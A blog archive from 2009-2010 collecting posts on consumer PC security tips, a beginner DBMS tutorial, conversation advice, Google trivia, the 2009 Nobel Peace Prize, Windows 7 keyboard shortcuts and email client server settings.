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10 Fixes for the Worst PC Security Nightmares

2010-08-15T08:15:00.000+05:30

In the world of comic books, every bad guy is an evil genius. On the Web, hackers, spammers, and phishers may be evil, but they're not required to be geniuses. They can make a healthy living just by exploiting known security holes that many users haven't bothered to patch. Or by relying on the propensity of millions of people to do things they've been told over and over not to do.

The silver lining is that you don't have to be a genius to avoid these common attacks either. Implement a few simple fixes, and you'll avoid most of the bad stuff out there.

Fix 1: Patch Over the Software Bull's-Eye

Have you turned off automatic updates for Windows and other programs on the rationale that "if it ain't broke, don't fix it?" Then consider this: Your programs may be very, very broken, and you don't know it. The days of big splashy viruses that announce themselves to PC users are over. The modern cybercriminal prefers to invisibly take control of your PC, and unpatched software gives them the perfect opportunity to do so.

Today, a hijacked Web page--modern digital crooks' attack of choice--will launch a bevy of probes against your PC in search of just one unpatched vulnerability that a probe can exploit. If it finds one, better hope your antivirus program catches the ensuing attack. Otherwise you likely won't even notice anything amiss as it infects your system.

Luckily, you can completely block the majority of Web-based exploits by keeping all your programs--not just theÂ operating system or your browsers--up-to-date. Attack sites ferret out holes in seemingly innocuous applications such as QuickTime and WinZip as well as in Windows and Internet Explorer. So turn on automatic update features for any software that offers the service--it's your quickest and easiest option for getting patches.

Fix 2: Find the Other Holes

If every program used easy automatic updates--and we were all smart enough to use them--the thriving malware business would take a serious hit. Until then, a free and easy security app from Secunia can help save the day.

The Secunia Personal Software Inspector, available as a free download, scans your installed software to let you know which out-of-date programs might be making your PC unsafe. But it doesn't stop there--for each old program it finds, it offers quick and easy action buttons such as one labeled Download Solution, which retrieves the latest software patch without you even having to open a browser.

The program also gives you links to the software vendor's site as well as Secunia's full report about the vulnerability on your system. You can choose to block future warnings about a particular program (but you should, of course, be careful before doing so).

Secunia PSI isn't perfect, and doesn't always make it easy to update unsafe program components. But for most apps it provides a quick--and very important--fix.

Fix 3: Let the Latest Browsers Fight for You

The most insidious hijacked Web pages are nearly impossible to spot. Tiny snippets of inserted code that don't display on the page can nevertheless launch devastating behind-the-scenes attacks.

Trying to avoid such pages on your own is asking for trouble, especially since crooks like to hack popular sites--attacks against sites for Sony games and the Miami Dolphins are just two well-known examples. But new site-blocking features in the just-released Firefox 3 and Opera 9.5 browsers provide some shielding.

Both browsers expand on the previous version's antiphishing features to block known malware sites as well, whether they're hijacked pages on legitimate sites or sites that were specifically created by bad guys. Neither browser completely eliminates the risk of landing on such pages, but every additional layer of protection helps.

Microsoft plans to add a similar feature to Internet Explorer 8, but this version won't be ready for prime time for a good while. For more on the browsers' improved security, see "New Browsers Fight the Malware Scourge."

Fix 4: Sidestep Social Engineering

The most dangerous crooks use clever marketing to get you to do their dirty work for them and infect your own PC. Lots of social engineering attacks are laughably crude, with misspelled words and clumsy grammar, but that doesn't mean you should dismiss the danger. Every now and then, a well-crafted attack can slip past your defenses andÂ lure you into opening a poisonous e-mail attachment or downloaded file. A targeted attack might even use your correct name and business title.

To fight back, turn to a simple but powerful tool:Â VirusTotal.com. You can easily upload any file (up to 10MB) to the site and have it scanned by a whopping 35 different antivirus engines, including ones from Kaspersky, McAfee, and Symantec. A report tells you what each engine thought about your file. While some (such as Prevx) are prone to false alerts, if you get multiple specific warnings that include the name of the particular threat, then you almost certainly want to delete the file.

A lack of warnings doesn't guarantee a file is safe, but it does give you pretty good odds. Use VirusTotal to check every e-mail attachment and download you're not 100 percent sure about, and you'll avoid insidious social engineering.

If using VirusTotal starts to become a habit (not a bad idea) and you want to make sending files for scanning to VirusTotal really easy, download the free VirusTotal Uploader. Once you've installed the utility, just right-click a file, and you'll see an option (under Send To) to uploadÂ it to the VirusTotal site.

Fix 5: Get the Jump on Fast-Moving Malware

Traditional, signature-based antivirus software is getting snowed under by a blizzard of malware. Attackers try to evade detection by churning out more variants than security labs can analyze. So besides signatures, any antivirus program worth its salt today uses proactive detection that doesn't require a full signature to spot sneaky malware.

One promising approach uses behavioral analysis to identify malicious software based solely on how it acts on your PC. But your antivirus software by itself may not be enough. ThreatFire, a popular free download from PC Tools, adds such a layer of behavior-based protection. In recent tests, it correctly identified 90 percent of malware based on its behavior alone.

PC World's ThreatFire review provides a thorough analysis of the program and a quick download link (as well as a warning about installing too many security programs on one PC). And for more on behavioral analysis and proactive virus detection, see "When a Signature Isn't Enough."

Note: If you use the AVG Free antivirus program, hold off on trying ThreatFire until PC Tools releases a new version. The current 3.5 version conflicts with AVG, but PC Tools says it's working on a fix.

Fix 6: Rescue Your Inbox From Spam

Spam filters are getting better, but some junk still makes it through even the best of them. Instead of resigning yourself to hitting delete for all those hot-stock and Viagra come-ons, try disposable e-mail addresses.

Such an address is something you create every time you encounter an online shopping site, forum, or other service that requires you to enter an e-mail address. If that address gets flooded with spam, you can terminate it. That's a better system than the alternative, creating a free Web mail account that you use only for purchases and Web signups. With a single separate account, you have to throw the baby out with the bathwater and cancel the whole account if it gets too much spam.

Yahoo Web mail users can opt for the $20-a-year Plus service, which includes the AddressGuard disposable e-mail service (among other benefits). With it, you can click a bookmark to create a new, disposable address for any given site in about 10 seconds.

Gmail users can simply append "+ whatever" to their regular e-mail address before handing it out, but if that address starts to receive spam you can't simply turn it off. You'll have to create a filter in Gmail to block all mail to that address.

For everyone else, we suggest a good, free service from Spamgourmet.com that's quick and easy to set up and use; it allows you to create disposable addresses on-the-fly that will forward e-mail messages to your regular address.

Fix 7: Develop an Antiphishing Habit

The dastardly practice of phishing for personal information is still alive and well, and many fake sites can be hard to distinguish from the real ones. But a few simple practices can ensure you'll never be snagged by a phishing hook.

The best approach, and the most straightforward, is never to click a link in any e-mail message to access your financial accounts. Instead, always type the URL or use a bookmark. That one habit will protect you from almost every phishing attack.

If you can't make that change, then at least use the latest version of Internet Explorer, Firefox, or Opera to browse the Web. All have built-in features to block known phishing sites (and, as described in Fix 3, Opera and Firefox now also block known malware sites).Â Avoid Safari, which lacks any built-in antiphishing protection.

Finally, keep an eye out for the common phishing tactic of using URLs like "http://adwords.google.com.d0l9i.cn/select/Login." If you glance at the URL (an actual recent example listed by Phishtank.com), you might think the site's domain was google.com. In fact, it's heading to d0l9i.cn, a site in China where operators are standing by to swipe your personal details.

Internet Explorer 8 will use an innovative feature called Domain Highlighting that will make spotting such trickery easy. But until it becomes available, watch URLs carefully.

Fix 8: Keep Your Own Site Safe

It's not a good time to run a Web site. The Web may look like a digital wonderland, but behind the scenes it's a war zone.Â And the guns are trained on your site.

Crooks use automated tools to search sites for the most common vulnerabilities. If they find one, they blow the hole wide open to plant harmful code that will attack your loyal visitors.

To help keep your site safe, start with some quick, free scans that ferret out the most obvious problems. First, fill out a form at Qualys.com to request a free scan of one IP address.

Next, download the also-free Scrawlr tool from HP. After a quick install, use Scrawlr to scan your site for SQL injection vulnerabilities (a type of hole targeted in a recent Sony site hack).

A clean bill of health from both scans won't guarantee that your site is safe. For instance, neither will find problems with custom JavaScript code, another common type of attack. And while requesting or running either scan is easy, fixing a reported hole might involve a fair bit of work. But that job will still take far less work than repairing your site and your reputation after your site has beenÂ hijacked.

Fix 9: Make Your Passwords Secure--And Easy to Remember

Online passwords are starting to seem about as safe as tissue paper protecting a bank vault. The supply of stolen logins is now so huge that crooks can hardly make any money selling them unless they add other ripped-off data, like addresses or Social Security numbers, according to security researchers. And thieves don't stop with stealing logins to financial accounts--the bad guys regularly pilfer access information for Web mail accounts as well. In one recent case, a scammer broke into Web mail accounts and sent messages to the victim's friends asking for money.

Experts say we should use strong, unique passwords for all our accounts. But they don't tell us how we're supposed to remember them, so most of us end up using the same, not-so-safe password at all our accounts.

Here's an easy fix that allows you to remember just one password, yet still have a strong, unique password for each site you use. The Password Hash (or PwdHash) add-on for Firefox and IE takes that simple password you type and runs it through an algorithm that uses the site's domain name as part of the calculation. The utility subs in the resulting strong password before you send it to the site. All you have to do (after installing Password Hash) is hit the F2 key in a password box before you type.

Fix 10: Get Extra Cleaning Help for Stubborn Infections

Sometimes even the best antivirus program misses an infection. And once a virus or Trojan horse gets in, removing it can be incredibly tough. If you suspect some nasty got past your defenses, then it's time to bring in extra help.

Many antivirus makers offer free and easy online scans through your Web browser. The scan will take time, as the scanning service will need to download large Java or ActiveX components before it can get started, but they're easy to kick off. You can run them in addition to your already-installed antivirus application for a second (or third, or fourth) opinion. Here's the lowdown on your options.

- Trend Micro HouseCall: Will detect and remove malware; works with both IE and Firefox.

- BitDefender Online Scanner: Detects and removes malware; requires IE.

- Kaspersky Online Scanner: Detects malware, but doesn't remove it; works with IE and Firefox.

- F-Secure Online Virus Scanner: Detects and removes malware; requires IE.

- ESET Online Scanner: Detects and removes malware; requires IE.

Learn DBMS, Part - IV

2010-03-14T05:08:00.000+05:30

KEY IN DBMS

The key is defined as the column or attribute of the database table. For example if a table has id,name and address as the column names then each one is known as the key for that table. We can also say that the table has 3 keys as id, name and address. The keys are also used to identify each record in the database table.The following are the various types of keys available in the DBMS system.

1. A simple key contains a single attribute.
2. A composite key is a key that contains more than one attribute.
3. A candidate key is an attribute (or set of attributes) that uniquely identifies a row. A candidate key must possess the following properties:

o Unique identification - For every row the value of the key must uniquely identify that row.
o Non redundancy - No attribute in the key can be discarded without destroying the property of unique identification.

4. A primary key is the candidate key which is selected as the principal unique identifier. Every relation must contain a primary key. The primary key is usually the key selected to identify a row when the database is physically implemented. For example, a part number is selected instead of a part description.
5. A superkey is any set of attributes that uniquely identifies a row. A superkey differs from a candidate key in that it does not require the non redundancy property.
6. A foreign key is an attribute (or set of attributes) that appears (usually) as a non key attribute in one relation and as a primary key attribute in another relation. I say usually because it is possible for a foreign key to also be the whole or part of a primary key:

o A many-to-many relationship can only be implemented by introducing an intersection or link table which then becomes the child in two one-to-many relationships. The intersection table therefore has a foreign key for each of its parents, and its primary key is a composite of both foreign keys.
o A one-to-one relationship requires that the child table has no more than one occurrence for each parent, which can only be enforced by letting the foreign key also serve as the primary key.

7. A semantic or natural key is a key for which the possible values have an obvious meaning to the user or the data. For example, a semantic primary key for a COUNTRY entity might contain the value 'USA' for the occurrence describing the United States of America. The value 'USA' has meaning to the user.
8. A technical or surrogate or artificial key is a key for which the possible values have no obvious meaning to the user or the data. These are used instead of semantic keys for any of the following reasons:

o When the value in a semantic key is likely to be changed by the user, or can have duplicates. For example, on a PERSON table it is unwise to use PERSON_NAME as the key as it is possible to have more than one person with the same name, or the name may change such as through marriage.
o When none of the existing attributes can be used to guarantee uniqueness. In this case adding an attribute whose value is generated by the system, e.g. from a sequence of numbers, is the only way to provide a unique value. Typical examples would be ORDER_ID and INVOICE_ID. The value '12345' has no meaning to the user as it conveys nothing about the entity to which it relates.

NORMALIZATION

Data normalization is a set of rules and techniques concerned with:

• Identifying relationships among attributes.
• Combining attributes to form relations.
• Combining relations to form a database.

It follows a set of rules worked out by E FCodd in 1970. A normalized relational database provides several benefits:

• Elimination of redundant data storage.
• Close modeling of real world entities, processes, and their relationships.
• Structuring of data so that the model is flexible.

Because the principles of normalization were first written using the same terminology as was used to define the relational data model this led some people to think that normalization is difficult. Nothing could be more untrue. The principles of normalization are simple, common sense ideas that are easy to apply.

The only attribute values permitted by 1 NF are single atomic (or indivisible) values. If there is no value present for the column, then it should be denoted as null.

BCNF

A table is in Boyce-Codd normal form (BCNF) if and only if it is in 3NF and every determinant is a candidate key.

1. Anomalies can occur in relations in 3NF if there is a composite key in which part of that key has a determinant which is not itself a candidate key.
2. This can be expressed as R(A,B,C), C--->A where:

o The relation R contains attributes A, B and C.
o A and B form a candidate key.
o C is the determinant for A (A is functionally dependent on C).
o C is not part of any key.

3. Anomalies can also occur where a relation contains several candidate keys where:

o The keys contain more than one attribute (they are composite keys).
o An attribute is common to more than one key.

Learn DBMS, Part III

2010-03-13T05:04:00.000+05:30

DATABASE SYSTEM ARCHITECT

Following are the three types of database architectures:

1. Client-Server Database Systems

A client is defined as a requester of services and a server is defined as the provider of services.
Today centralized systems act as server systems that satisfy requests generated by client systems.
Functionally database systems can be broadly divided into two parts:

• Front end: front end of a database system consists of tools such as SQL user interface, forms interfaces, reports generation tools, and analysis tools.
• Back end: The back end of a database system manages query evaluation and optimization, access structures, concurrency control and recovery management.

2. Parallel Systems

In parallel processing, many operations are performed simultaneously and the computational steps are performed sequentially. It can process thousands of transactions per second.

There are four types of Architectural Models for Parallel Processing:

• Shared Memory (tightly coupled) architecture: Multiple processors share secondary (disk) storage and also share primary memory.
• Shared Disk (loosely coupled) architecture: Multiple processors share secondary (disk) storage but each has their own primary memory.
• Shared Nothing: The processors share neither a common memory nor common disk.
• Hierarchical: this model is the combination of preceding three architectures.

3. Distributed Systems

Distributed database is a collection of multiple logically interrelated databases distributed over a computer network and a distributed database management system is a software system that manages a distributed database while making the distribution transparent to the user. Transparency means hiding the details of where the data is physically stored within the system.
Reasons for building a distributed database are sharing of data, autonomy, and availability.

Functions of distributed databases:

• Keeping track of data.
• Query Processing by a communication network.
• Security Management.
• Distributed Transaction Management
• Database Recovery.

CODD’S RULE

E.F. Codd, the famous mathematician has introduce 12 rules for the relational model for databases commonly known as Codd's rules. The rules mainly define what is required for a DBMS for it to be considered relational , i.e., an RDBMS. There is also one more rule i.e Rule00 which specifies the relational model should use the relational way to manage the database. The rules and their description is as follows:-

Rule 000: A RDBMS system should be capable of using its relational facilities (exclusively) to manage the database.

Rule 1: The information rule : All information in the database is to be represented in one and only one way. This is achieved by values in column positions within rows of tables.

Rule 2 : The guaranteed access rule : All data must be accessible with no ambiguity.This is achieved in the RDBMS by using the primary key concept.

Rule 3: Systematic treatment of null values : The DBMS must allow each field to remain null. The null can be stored in any field of any datatype.

Rule 4: Active online catalog based on the relational model : The authorized users can access the database structure by using common language i.e SQL.

Rule 5: The comprehensive data sublanguage rule : The system must support at least one relational language that has simple syntax and transaction management facilities. It can be used in the application as well as in the RDBMS systems.

Rule 6: The view updating rule : All views must be updatable by the system.

Rule 7: High-level insert, update, and delete : The system is able to insert, update and delete operations fully. It can also perform the operations on multiple rows simultenously.

Rule 8: Physical data independence : Changes to the physical storage structure must not require a change to an application based on the structure.

Rule 9: Logical data independence : Changes to the logical level (tables, columns, rows, and so on) must not require a change to an application based on the structure.

Rule 10: Integrity independence : All the Integrity constraints like primary key, uniques key etc must be specified separately from application programs and stored in the catalog.

Rule 11: Distribution independence : The distribution of portions of the database to various locations should be invisible to users of the database.

Rule 12: The nonsubversion rule : If the system provides a low-level (record-at-a-time) interface, then that interface cannot be used to subvert the system, for example, bypassing a relational security or integrity constraint.

Note:- Any database management system which fulfills 6 or more than 6 rules can be considered as the RDBMS.

Learn DBMS, Part - II

2010-03-12T04:53:00.000+05:30

DATA MODELS:

Data model is defined as the collection of conceptual tools for describing data, data relationships, data semantics and consistency constraints. There are following four Data Model exists.

The Hierarchical Data Model

A hierarchical database consists of the following:

1. It contains nodes connected by branches same as the trees in datastructers.
2. The top node is called the root.
3. If multiple nodes appear at the top level, the nodes are called root segments.
4. The parent of node nx is a node directly above nx and connected to nx by a branch.
5. Each node (with the exception of the root) has exactly one parent.
6. The child of node nx is the node directly below nx and connected to nx by a branch.
7. One parent may have many children.

The Network Data Model

Like the The Hierarchical Data Model the Network Data Model also consists of nodes and branches, but a child may have multiple parents within the network structure.

The Relational Data Model

The Relational Data Model has the relation at its heart, but then a whole series of rules governing keys, relationships, joins, functional dependencies, transitive dependencies, multi-valued dependencies, and modification anomalies. A relation is subject to the following rules:

1. Relation (file, table) is a two-dimensional table.
2. Attribute (i.e. field or data item) is a column in the table.
3. Each column in the table has a unique name within that table.
4. Each column is homogeneous. Thus the entries in any column are all of the same type (e.g. age, name, employee-number, etc).
5. Each column has a domain, the set of possible values that can appear in that column.
6. A Tuple (i.e. record) is a row in the table.
7. The order of the rows and columns is not important.
8. Values of a row all relate to some thing or portion of a thing.
9. Repeating groups (collections of logically related attributes that occur multiple times within one record occurrence) are not allowed.
10. Duplicate rows are not allowed (candidate keys are designed to prevent this).
11. Cells must be single-valued (but can be variable length). Single valued means the following:

1. Cannot contain multiple values such as 'A1,B2,C3'.
2. Cannot contain combined values such as 'ABC-XYZ' where 'ABC' means one thing and 'XYZ' another.

Object Oriented Model

In object oriented model information is represented in the form of objects as used in object oriented programming. Object Oriented Database Management Systems is a combination of object oriented programming language capabilities and database capabilities. It contains some properties like transparently persisted data, concurrency control, data recovery, associative queries, and other capabilities. Some object oriented programming languages are Java, C++, .NET, Visual Basic, Python etc. Most object databases also offer some kind of query language, allowing objects to be found by a more declarative programming approach.

THREE SCHEMA ARCHITECTURE

The goal of Three-Schema architecture is to separate the user applications and physical database. In this architecture, schemas can be defined at the following three levels:

• The internal level:- The internal level has an internal schema which describes the physical storage structure of the database.
• The conceptual level:-The conceptual level has a conceptual schema, it describes the entities, data types, relationships, user operations, and constraints.
• The external level or view level:- The external or view level includes a number of external schemas or user views. It describes the part of the database that a particular user group is interested in and hides the rest of the database from that user group.

Learn DBMS

2010-03-11T04:46:00.002+05:30

DBMS stands for Database Management System. A DBMS consists of collection of interrelated data and a set of program to access that data. The collection of data is known as a database. A database consists of the data relat ed to one organization. Prior to DBMS systems, the data was kept under the file system in forms of multiple files. The following are the disadvantages of the File system:-

1. Difficulty in Accessing data:- In the file system it is very difficult to find the data which is needed for some specific purpose. Like to get the average sale of the quarter needs to process all files for the quarter and then do some processing.

2. Data inconsistency and redundancy:- As the files and processing systems created by different vendors and programmers, so there is a inconsistency of data as different people prefer the different style of data handling. Also the different systems may use the different programming languages to develop the processing systems so the multiple copies of the same file kept under various places so redundancy is another problem we have with file system.

3. Security Problem:- There is a great risk of unauthroized person access the file system and get the data. So security is the major concern in the file system.
4. Integrity Problem:- The integrity issue is also a major concern as the data stored in the file can be changed easily. While creating files there is no specific rules checked while storing the data.

Advantages of Database Management System:-

The following are the advantages of DBMS systems:-

1. A data can be validated before storing into the DBMS system.These rules for data validation are known as Constraints in DBMS.

2. Different users can be created with different rights for the database.So DBMS systems are more secure than the conventional file system.

3. The relationships of the data can also be stored along with the data which is not possible for the files.

4. A simple english like language SQL is introduced which helps to access data more efficiently and quickly.

5. Multiple users can access the data simultenously and DBMS system will take care the conflicts.

6. The dependent tasks can be controlled with transaction management facility of the DBMS.

For example:- Transfering the cash from one account to second account consits of withdrawing the amount from one account and deposit in other. What if the application fails after the withdrawl so DBMS system will rollback the withdrawl automatically

How to Start a Conversation with New People

2010-03-11T04:31:00.002+05:30

Start with a “hello,” and simply tell the new person your name then ask them theirs. Offer your hand to shake, upon his/her responding to you. (If you go to other countries, greet the person in tune with the particular culture). If you already know the person, skip this step and proceed to step.

Look around. See if there is anything worth pointing out. Sure, talking about the weather is a cliche, but if there’s something unusual about it–bam!–you’ve got a great topic of conversation.

Offer a compliment. Don’t lie and say you love someone’s hair when you think it’s revolting, but if you like his or her shoes, or a handbag, say so. A sincere compliment is a wonderful way to get someone to warm up to you. But be careful not to say something so personal that you scare the person off or make him or her feel uncomfortable. It is best not to compliment a person’s looks or body.

Ask questions! Most people love to talk about themselves — get them going. “What classes are you taking this year?” “Have you seen (Insert-Something- Here)? What did you think of it?” Again, keep the questions light and not invasive. Do not ask too many questions if he or she is not responsive to them.

Jump on any conversation- starters he or she might offer; take something he or she has said and run with it. Agree, disagree, ask a question about it, or offer an opinion, just don’t let it go by without notice.

Look your newfound friend in the eye, it engenders trust (but don’t stare). Also, use the person’s name a time or two during the conversation; it will help you remember the name, and will draw the person’s attention to what you are talking about.

Don’t forget to smile and have fun with your conversation!

Tips

Just relax. Chances are that whatever small-talk you’re making isn’t going to stick out in anyone’s mind a few months from now. Just say whatever comes into your head, so long as it’s not offensive or really weird. (Unless, of course, the person you’re attempting to converse with is into weird stuff.)
Remember, if you think of something in your head while you’re talking, it’s probably related.

It will help if you watch some TV, listen to radio shows, and/or read a lot — newspapers, magazines, and/or books. You need to have some idea of what is going on in the world. Also remember and plan to share anything you like, think is funny, or find intriguing. This is building up your own library of things that might be helpful to another person during a conversation someday. It will be amazing how you thread these interesting things when you least expect it, and make conversation an adventure instead of a dreadful task. If you take it to the next step and say things that you want the person to think of as adding value, and keep to yourself things that the person might not, you are actually honing your own personality to be appealing to the other person, and what is a greater act of kindness than that.
If you are shy, it will be helpful to have thought about a topic or two that you could talk about.

Follow the lead that your listener is expressing. If he or she appears interested, then continue. If he or she is looking at a clock or watch, or worse, looking for an escape strategy, then you have been going on for too long.
Interesting and funny quotes or facts can lighten things up, and make way for things to talk about. You could also use a set of conversation starter question cards for inspiration.

If talking over the phone, keep the person involved in the conversation at all costs. If you can’t come up with a good topic, try the “questions” game. Just keep asking them questions; random questions work just fine as long as they are appropriate. This technique can save a phone conversation. The questions should be open ended questions that do not require a yes or no answer. For example “How do you know the hosts?” This way you can ask questions about what they just said or follow up with how you know the hosts (for example) instead of acting as if the conversation is an interrogation.

Half of an effective conversation is the way you non-verbally communicate, and not necessarily what you say. Practice better non-verbal skills that are friendly and confident.

Read newspapers and magazines to increase your knowledge so you can have more interesting things to talk about.

Happy Talking..

HAPPY REPUBLIC DAY

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WORDLESS WISDOM

2010-01-26T12:53:00.003+05:30

"Every drop of tear is costly than anything in the world, but No One knows it's value until they have it in their own eyes for someone!"

All About Google

2009-10-13T19:37:00.000+05:30

Google was originally called BackRub

Like many other booming internet companies, Google has an interesting upbringing, one that is marked by a lowly beginning. Google began as a research project in January 1996 by cofounder Larry Page, a 24-year-old Ph.D. student at Standford University. Page was soon joined by 23-year-old Sergey Brin, another Ph.D. student, forming a duo that seemed destined for failure. According to Google's own corporate information, Brin and Page argued about every single topic they discussed. This incessant arguing, however, may have been what spurred the duo to rethink web-searching and develop a novel strategy that ranked websites according to the number of backlinks (i.e., according to the number of web pages that linked back to a web page being searched), and not based on the number of times a specific search term appeared on a given web page, as was the norm.

Because of this unique strategy, another thing you didn't know about Google is that Page and Brin nicknamed the search engine BackRub. Thankfully, in 1998, Brin and Page dropped the sexually suggestive nickname, and came up with “Google,” a term originating from a common misspelling of the word "googol," which refers to 10100.

The word “google” has become so common, it was entered into numerous dictionaries in 2006, referring to the act of using the Google search engine to retrieve information via the internet.

Google scans your e-mails

Nothing in life is perfect or without controversy and Google is no exception. Google scans your e-mails (at Gmail) through a process called “content extraction.” All incoming and outgoing e-mail is scanned for specific keywords to target advertising to the user. The process has brewed quite a storm of controversy, but Google has yet to back down on its stance.

Google has remained similarly headstrong about other criticisms; in an attempt to remain partisan to local governments, Google removes or does not include information from its services in compliance with local laws. Perhaps the most striking example of this is Google's adherence to the internet censorship policies of China (at Google.cn) so as not to bring up search results supporting the independence movement of Tibet and Taiwan, or any other information perceived to be harmful to the People's Republic of China.

Google Street has further been cited for breaching personal privacy. The service provides high-resolution street-view photos from around the world and has, on numerous occasions, caught people committing questionable acts. Moving from street to satellite, Google Earth has also come under fire from several Indian state governments about the security risks posed by the details from Google Earth's satellite imaging. When all is said and done, there are a lot of criticisms about Google and these few examples merely scratch the surface.

Google spends $72 million a year on employee meals.

Seventy-two million dollars a year -- that works out to about $7,530 per Googler (a term Google uses to identify employees). While the exact details vary depending on location (the Google empire spans the globe), employees at Google's California headquarters, aptly entitled the Googleplex, are welcome to at least two free meals a day from 11 different gourmet cafeterias. As if that weren’t enough, another thing you didn’t know about Google is that in addition to the cafeterias, Google offers numerous snack bars that are chock-full of healthy morsels to munch on.

And that's certainly not all. Is your car in a bit of a rut? Not to worry; Google offers on-site car washes and oil changes. The list of perks for working at Google is never-ending, making it no surprise that it's considered the No. 1 place to work, offering: on-site haircuts, full athletic facilities, massage therapists, language classes, drop-off dry cleaning, day cares, and on-site doctors, just to name a few. Oh, and if your dog is stuck at home and feeling a little lonely, just bring him to work -- Google doesn't mind.

Google loses $110 million a year through "I'm Feeling Lucky"

There's not much to see on Google's main search page, and perhaps simplicity is one of the keys to Google's success. When searching Google, you are given two options: “Google Search” or “I'm Feeling Lucky.” By clicking the former, you are given that familiar list of search results; by clicking the latter, however, you are automatically redirected to the first search result, bypassing the search engine’s results page.

besides the fun factor, the idea behind the “I'm Feeling Lucky” feature is to provide the user with instant connection to the precise page they are searching for, thus saving them time that would normally be spent perusing endless search results. Sounds harmless enough, right? Not so fast. Because “I'm Feeling Lucky” bypasses all advertising, it is estimated that Google loses about $110 million per year in advertising- generated revenue. So why in the world would any Fortune 500 company not patch such a gaping leak? "It's possible to become too dry, too corporate, too much about making money. I think what's delightful about 'I'm Feeling Lucky' is that it reminds you there are real people here," Google Executive Marissa Mayer told Valleywag, an online tech-blog.

Google has a sense of humor

Google also offers full language support for Pig Latin, Klingon and even Elmer Fudd. Anyone else still feeling lucky? Try typing, “French military victories” and clicking “I'm Feeling Lucky.” Behold the result.

Some might remember the “miserable failure” fiasco when one typed those words and clicked “I'm Feeling Lucky,” and they were instantly connected to a biography of President George W. Bush on the White House website. Now, before you jump to conclusions, this trick -- which no longer works -- was carried out by members of the online community through the art of “Google bombing.” Google bombing works because of Google's backlink search strategy.

NOKIA 7705

2009-10-12T16:28:00.000+05:30

Obama wins 2009 Nobel Peace Prize

2009-10-11T16:21:00.001+05:30

US President Barack Obama has won the 2009 Nobel Peace Prize.

The Nobel Committee said he was awarded it for "his extraordinary efforts to strengthen international diplomacy and co-operation between peoples". The committee highlighted Mr Obama's efforts to strengthen international bodies and promote nuclear disarmament.

There were a record 205 nominations for this year's prize. Zimbabwe's prime minister and a Chinese dissident had been among the favourites.
The laureate - chosen by a five-member committee - wins a gold medal, a diploma and 10m Swedish kronor ($1.4m).

"Only very rarely has a person to the same extent as Obama captured the world's attention and given its people hope for a better future," the Norwegian committee said as the prize was announced.

"His diplomacy is founded in the concept that those who are to lead the world must do so on the basis of values and attitudes that are shared by the majority of the world's population."

Windows-7 Keyboard Shortcuts to Increase Productivity

2009-07-29T14:57:00.004+05:30

With all the less pleasant verdicts about Vista, Windows 7 is perhaps PC users’ next best news. Code named Blackcomb, this new Microsoft operating system is surely a successor over it’s predecessor Windows XP and definitely Vista. With Microsoft to end their support for Windows XP in 2014, we figured Windows 7 will be completely taking over things in the next year or so.

If you are a Windows users it’s probably time for a change,
or at least tryout this new operating system.
Here are some shortcut keys to help improve your
productivity and user experience with Windows 7.

General Windows 7 Shortcuts

Shortcut Description
Win + UP Arrow Maximize the current window
Win + Down Arrow Restore down or minimize current windows
Win + Left Arrow Dock the current window to the left half of the screen
Win + Right Arrrow Dock the current window to the right half of the screen
Win + [number] Activate and run the program pinned on Windows 7 Taskbar, running program won’t be affected
Win + Home Minimize all but the current window
Win + Space Makes all windows transparent so you can see through to the desktop
Win + Pause/Break Open System Properties
Win + Tab Flip Aero 3D [press Tab to cycle between Windows]
Win + B Move focus to notification tray (the right-most portion of the taskbar)
Win + D Show/Hide desktop
Win + E Windows Explorer is launched
Win + F Search
Win + G Bring all gadgets on top and foreground
Win + L Lock Computer
Win + M Minimize all windows
Win + P Open the projection menu (generally used for laptops connected to projectors)
Win + R Run Command is launched.
Win + S OneNote Screen Clipping Tool
Win + T Show preview thumbnail of running applications in Windows Taskbar one by one without mouse over
Win + X Mobility Center
Win + # Quicklaunch
Win + = Magnifier
Win + [+/-] Enables the magnifier and zooms in/out
Win + Shift + Up Arrow Maximize vertical size
Win + Shift + Down Arrow Restore vertical size
Win + Shift + Left Arrow Jump to left monitor
Win + Shift + Right Arrow Jump to right monitor
Win + Shift + M Undo all window minimization
Win + Shift + T Cycles backwards
Win + Ctrl + F Opens the Active Directory Find Computers dialog
Ctrl + Right Arrow Move the cursor to the beginning of the next word
Ctrl + Left Arrow Move the cursor to the beginning of the previous word
Ctrl + Up Arrow Move the cursor to the beginning of the previous paragraph
Ctrl + Down Arrow Move the cursor to the beginning of the next paragraph
Ctrl + Click A pinned taskbar icon to cycle through the program’s open windows (e.g. IE)
Ctrl + Win + Tab Persistent flip 3D
Ctrl + Shift with an arrow key Select a block of text
Ctrl with any arrow key + Spacebar Select multiple individual items in a window or on the desktop
Ctrl + Shift + Esc Open Task Manager directly
Ctrl + Shift + N Create new folder

Incoming and Outgoing Mail Server Settings for Outlook

2009-07-01T12:19:00.002+05:30

Google Gmail service offers a SMTP server (outgoing mail server) for Gmail accounts. To use the Google Gmail SMTP server, use the following information:

Google Gmail Outgoing Mail Server (SMTP): smtp.gmail.com
The Gmail SMTP server requires authentication (use the same settings as for the incoming mail server). The Google Gmail SMTP Server requires an encrypted connection (SSL) on port 465.

You have the alternative to send and receive emails through such a mailbox by using a local email client software, such as Outlook Express, Microsoft Outlook, Thunderbird, Thunderbird, etc. In order to properly use it, you need to configure your email software with the incoming and outgoing mail servers of your email provider (Hotmail, Gmail, Yahoo! Mail or else).

Mail Server Settings

Hotmail Settings
As other web based email services, Hotmail is using the HTTP protocol for connecting you to your mailbox. If you want to send and receive Hotmail emails using an email client software, then your software must support Hotmail HTTP access for your email account. Some email clients, such as Outlook Express or Microsoft Outlook, offer builtin support for Hotmail accounts, so you only have to select HTTP when you are asked to select your email account type and select Hotmail as the HTTP Mail Service Provider.

Yahoo! Mail Settings
Yahoo! Mail offers standard POP3 access for receiving emails incoming through your Yahoo mailbox, by using your favorite email client software. To setup your email client for working with your Yahoo account, you need to select the POP3 protocol and use the following mail server settings:
Yahoo Incoming Mail Server (POP3) - pop.mail.yahoo.com (port 110)
Yahoo Outgoing Mail Server (SMTP) - smtp.mail.yahoo.com (port 25)

Google GMail Settings
The Google GMail service offers email client access for retrieving and sending emails through your Gmail account. However, for security reasons, GMail uses POP3 over an SSL connection, so make sure your email client supports encrypted SSL connections.

Google Gmail Incoming Mail Server (POP3) - pop.gmail.com (SSL enabled, port 995)
Outgoing Mail Server - use the SMTP mail server address provided by your local ISP or smtp.gmail.com (SSL enabled, port 465)

Lycos Mail Settings
The Lycos Mail Plus service allows you to use POP3 and SMTP servers for accessing your Lycos mailbox.
Lycos Mail Incoming Mail Server (POP3) - pop.mail.lycos.com (port 110)
